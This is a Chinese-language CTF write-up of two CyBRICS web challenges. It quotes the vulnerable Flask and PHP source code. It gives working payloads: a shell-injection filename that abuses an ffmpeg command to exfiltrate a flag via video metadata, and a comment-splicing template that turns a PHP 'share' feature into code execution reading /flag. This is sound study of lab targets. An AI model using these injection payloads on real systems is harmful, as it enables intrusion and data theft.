Cybrics比赛感觉都没队友在打……简单记录下做的几道题
Hunt
签到不谈。
Gif2png
首先是源码审计.
import logging
import re
import subprocess
import uuid
from pathlib import Path
from flask import Flask, render_template, request, redirect, url_for, flash, send_from_directory
from flask_bootstrap import Bootstrap
import os
from werkzeug.utils import secure_filename
import filetype
ALLOWED_EXTENSIONS = {'gif'}
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['SECRET_KEY'] = '********************************'
app.config['MAX_CONTENT_LENGTH'] = 500 * 1024 # 500Kb
ffLaG = "cybrics{********************************}"
Bootstrap(app)
logging.getLogger().setLevel(logging.DEBUG)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET', 'POST'])
def upload_file():
logging.debug(request.headers)
if request.method == 'POST':
if 'file' not in request.files:
logging.debug('No file part')
flash('No file part', 'danger')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
logging.debug('No selected file')
flash('No selected file', 'danger')
return redirect(request.url)
if not allowed_file(file.filename):
logging.debug(f'Invalid file extension of file: {file.filename}')
flash('Invalid file extension', 'danger')
return redirect(request.url)
if file.content_type != "image/gif":
logging.debug(f'Invalid Content type: {file.content_type}')
flash('Content type is not "image/gif"', 'danger')
return redirect(request.url)
if not bool(re.match("^[a-zA-Z0-9_\-. '\"\=\$\(\)\|]*$", file.filename)) or ".." in file.filename:
logging.debug(f'Invalid symbols in filename: {file.content_type}')
flash('Invalid filename', 'danger')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file.save(os.path.join(app.config['UPLOAD_FOLDER'], file.filename))
mime_type = filetype.guess_mime(f'uploads/{file.filename}')
if mime_type != "image/gif":
logging.debug(f'Invalid Mime type: {mime_type}')
flash('Mime type is not "image/gif"', 'danger')
return redirect(request.url)
uid = str(uuid.uuid4())
os.mkdir(f"uploads/{uid}")
logging.debug(f"Created: {uid}. Command: ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"")
command = subprocess.Popen(f"ffmpeg -i 'uploads/{file.filename}' \"uploads/{uid}/%03d.png\"", shell=True)
command.wait(timeout=15)
logging.debug(command.stdout)
flash('Successfully saved', 'success')
return redirect(url_for('result', uid=uid))
return render_template("form.html")
@app.route('/result/<uid>/')
def result(uid):
images = []
for image in os.listdir(f"uploads/{uid}"):
mime_type = filetype.guess(str(Path("uploads") / uid / image))
if image.endswith(".png") and mime_type is not None and mime_type.EXTENSION == "png":
images.append(image)
return render_template("result.html", uid=uid, images=images)
@app.route('/uploads/<uid>/<image>')
def image(uid, image):
logging.debug(request.headers)
dir = str(Path(app.config['UPLOAD_FOLDER']) / uid)
print(dir)
return send_from_directory(dir, image)
@app.errorhandler(413)
def request_entity_too_large(error):
return "File is too large", 413
if __name__ == "__main__":
app.run(host='localhost', port=5000, debug=False, threaded=True)
注意到执行ffmpeg有个变量拼接。我们的file.filename可控。不过需要经过前面几层检验。简单看可以发现一方面限制了
后缀(取最后一个. 后字符检测是否为gif)另外限制了可用字符。不过这些字符已经够用了。
首先我的思路是去找ffmpeg的可用flag.通过-h
列出一些flag后。我注意到这样几个
-report generate a report
-filter_script filename read stream filtergraph description from a file
-metadata string=string add metadata
这里我主要是寻找跟文件有关的选项。其中report会在当前目录生成一个log文件。filter_script可以读取一个文件内容作为stream filter. -metadata 可以添加一组键值。加入到输出的metadata中。
不过本地跑起来简单尝试下后。会发现因为我们不可用/
字符。所以想要控制路径是做不到的。我们必须要让包含flag的信息输出到uploads的沙盒下。而注意到题目/uploads/{uid}/
下的内容并没有像其他两个路由那样做文件类型检查。所以我们是可以直接访问的。
因此-report
无法使用。因为它只能在当前目录生成报告。而-filter_script
假如搭配-report
倒是可以把读取文件内容时的错误信息输出到日志中。但是因为日志读不了所以也不可行。
于是我关注点就集中到了-metadata
上。我们可以构造这样的命令闭合引号并且执行。
ffmpeg -i 'uploads/logo.gif' -metadata language=$(cat main.py| grep ffLaG |base64) -metadata abc='.gif' "uploads/{uid}/%03d.png"
从输出结果上看是成功执行命令了的。但是本地测试发现一个问题。输出的png读不到其metadata属性。
简单的查阅了下文档以及谷歌后我推测应该是因为ffmpeg的metadata选项不支持png.不过文档里我发现视频文件是肯定可以修改增加metadata的。因此当我尝试将上面的命令改为输出成avi后。是可以通过exiftool读取到metadata中的language的。
那么我们现在只需要一个强迫转换输出类型的flag. 再次查文档发现了-f fmt force format
。
所以最终payload如下。我们只需在传好logo.gif后传gif文件并以如下作为文件名
logo.gif' -metadata language=$(cat main.py| grep ffLaG |base64) -f avi -metadata abc='.gif
首先我们保证了结尾最后的.
末尾是gif
绕过后缀检查。之后执行命令时将会把main.py中的ffLaG变量值保存到输出的language metadata中。本地跑起来的话。会发现在沙盒下最终生成了名为%03d.png
的avi类型文件。并且可以用exiftool获取到其metadata。
本地打通的话去远程打肯定就没问题了。这里打远程时稍微多发了几次包。最终获取到图片并得到flag
看着这个flag我高度怀疑自己不是预期做的……搞不好可以很简单解决掉。
ps:
佛了。不会就我去看ffmpeg的flags了吧……虽然做法很有趣但是未免太傻了……别人的payload:'$(cp main.py uploads$(pwd | cut -c1)GENERATED_UID$(pwd | cut -c1))'.gif
wtcltcl。忘记用pwd拼接目录了。bash script都白写了。
woc
这道题目最主要的就是用代码混淆视线。所以关键在于一定要找到真正可以利用的漏洞代码。
首先注意到一个似乎可以利用的地方。在calc.php
<?php
if (!@$_SESSION['userid']) {
redir(".");
} elseif (!@$_GET['template']) {
redir(".");
}
$userid = $_SESSION['userid'];
$template = $_GET['template'];
if (!preg_match('#^[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}$#s', $template)) {
redir(".");
}
if (!is_file("calcs/$userid/templates/$template.html")) {
redir(".");
}
if (trim(@$_POST['field'])) {
$field = trim($_POST['field']);
if (!preg_match('#(?=^([ %()*+\-./]+|\d+|M_PI|M_E|log|rand|sqrt|a?(sin|cos|tan)h?)+$)^([^()]*|([^()]*\((?>[^()]+|(?4))*\)[^()]*)*)$#s', $field)) {
$value = "BAD";
} else {
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
} else {
try {
$value = eval("return $field;");
} catch (Throwable $e) {
$value = null;
}
if (!is_numeric($value) && !is_string($value)) {
$value = "ERROR";
} else {
$value = (string)$value;
}
}
}
echo "<script>var preloadValue = " . json_encode($value) . ";</script>";
}
require "inc/calclib.html";
require "calcs/$userid/templates/$template.html";
第一想法肯定是利用那个eval.不过这里字符实在是太限制了。我很快就发现根本无法构造出INF
,NAN
以外等等字符并取单。因此得尝试变化思路。
注意到题目功能。整体上提供了一个假注册登录功能用来记录session.同时允许我们上传新template.我们可以根据calc.php中所传template参数选择template。前往newtemplate.php。发现其限制了我们template的代码中不能含有<?
且必须包含它要求的id标签。
<?php
if (!@$_SESSION['userid']) {
redir(".");
}
$userid = $_SESSION['userid'];
$error = false;
if (trim(@$_POST['html'])) {
do {
$html = trim($_POST['html']);
if (strpos($html, '<?') !== false) {
$error = "Bad chars";
break;
}
$requiredBlocks = [
'id="back"',
'id="field" name="field"',
'id="digit0"',
'id="digit1"',
'id="digit2"',
'id="digit3"',
'id="digit4"',
'id="digit5"',
'id="digit6"',
'id="digit7"',
'id="digit8"',
'id="digit9"',
'id="plus"',
'id="equals"',
];
foreach ($requiredBlocks as $block) {
if (strpos($html, $block) === false) {
$error = "Missing required block: '$block'";
break(2);
}
}
$uuid = uuid();
if (!file_put_contents("calcs/$userid/templates/$uuid.html", $html)) {
$error = "Unexpected error! Contact orgs to fix. cybrics.net/rules#contacts";
break;
}
redir(".");
} while (false);
}
?>
<div class="row">
<div class="p-5 mx-auto col-10 col-md-10 bg-info">
<?php
if ($error) {
?>
<div class="alert alert-danger" role="alert">
<button type="button" class="close" data-dismiss="alert">×</button>
<h4 class="alert-heading">Error</h4>
<p class="mb-0"><?=htmlspecialchars($error)?></p>
</div>
<?php
}
?>
<h3 class="display-3">New template</h3>
<div class="px-4 order-1 order-md-2 col-lg-12">
<h2 class="mb-4">Insert code</h2>
<form method="POST">
<div class="form-group"> <textarea style="min-height: 100px; font-family: 'Fira Code', Consolas, monospace;" placeholder="HTML" class="form-control form-control-sm" name="html" oninput="this.style.height = ''; this.style.height = (this.scrollHeight + 10) +'px'"><?=htmlspecialchars(@$_POST['html'])?></textarea> </div> <button type="submit" class="btn btn-lg btn-outline-secondary mx-3 px-3"><i class="fa fa-plus-square fa-fw fa-1x py-1"></i> Create Template</button>
</form>
</div>
</div>
</div>
然后我们发现。calc.php如果不传递share参数的话。将只是简单的require我们的template.但是倘若传递share.则将进行一个拼接。
if (@$_POST['share']) {
$calc = uuid();
file_put_contents("calcs/$userid/$calc.php", "<script>var preloadValue = <?=json_encode((string)($field))?>;</script>\n" . file_get_contents("inc/calclib.html") . file_get_contents("calcs/$userid/templates/$template.html"));
redir("?p=sharelink&calc=$calc");
}
我们的变量field与之后的inc/calclib.html
,以及自己的template进行拼接。当内容作为file_put_contents的参数写进新的php文件时。<?=
总是可用的(即作为echo 调用)那么我们只需要想办法解决掉中间拼接的文件inc/calclib.html
即可。通过使用注释符将两者中间的html文件注释掉,并在template中写入恶意代码就能完成
本地模拟写入的文件。可以看到中间的部分被注释掉。我们只需注意正确闭合括号。
payload
html内容
<html>
<body>
<input type="text" class="part" id="field" name="field" />
<input type="button" class="part" id="digit0" data-append="0" />
<input type="button" class="part" id="digit1" data-append="1" />
<input type="button" class="part" id="digit2" data-append="2" />
<input type="button" class="part" id="digit3" data-append="3" />
<input type="button" class="part" id="digit4" data-append="4" />
<input type="button" class="part" id="digit5" data-append="5" />
<input type="button" class="part" id="digit6" data-append="6" />
<input type="button" class="part" id="digit7" data-append="7" />
<input type="button" class="part" id="digit8" data-append="8" />
<input type="button" class="part" id="digit9" data-append="9" />
<input type="button" class="part" id="plus" data-append=" + " />
<input type="button" class="part" id="minus" data-append=" - " />
<input type="button" class="part" id="times" data-append=" * " />
<input type="button" class="part" id="div" data-append=" / " />
<input type="button" class="part" id="point" data-append="." />
<input type="button" class="part" id="clear" />
<input type="button" class="part" id="back" value="← Back" />
<input type="submit" class="part" id="share" name="share" value="Share" />
<input type="submit" class="part" id="equals" />
*/readfile("/flag")));
之后来到calc.php传值field=/*&share=1
即可在重定向后得到写入shell的地址。
远程getflag
summary
题目比较有意思。体验不错。在这之前的一场3kCTF因为时间原因写不了wp了,题目质量倒是挺好的。下周开始hw就不更文章